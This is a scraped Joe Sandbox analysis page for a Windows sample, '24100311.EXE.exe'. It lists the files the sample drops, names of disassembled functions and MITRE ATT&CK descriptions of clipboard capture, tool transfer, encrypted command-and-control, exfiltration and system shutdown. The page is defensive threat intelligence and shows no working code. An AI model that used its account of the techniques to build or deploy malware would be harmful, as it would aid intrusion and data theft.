Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 24100311.EXE.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Common Files\Glued.lnk

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Goffers.Bra

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\Independable.Ovi

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\byrge.txt

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\fremfaerden.bla

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\selvstndighedstrang.bil

C:\Users\user\AppData\Local\Decentraliseringers\misdidived\Unengrossing\tidsskriftartiklerne.hyp

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Temp\Cloud Setting.ini

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0gg4ex4s.tfc.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jt1tlivq.jor.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tlg1o2kf.4wn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ubv4uql0.hgn.psm1

C:\Users\user\AppData\Local\Temp\nseDBF3.tmp

Static File Info

General

Windows Analysis Report
24100311.EXE.exe

Function 004035D8 Relevance: 89.7, APIs: 33, Strings: 18, Instructions: 410
stringfilecomCOMMON

Function 004056E3 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Function 00406C5B Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Function 00403FB9 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403C0B Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00403068 Relevance: 24.7, APIs: 5, Strings: 9, Instructions: 204
memoryCOMMON

Function 00406579 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 004055A4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 72
stringwindowCOMMON

Function 004068C1 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00406061 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre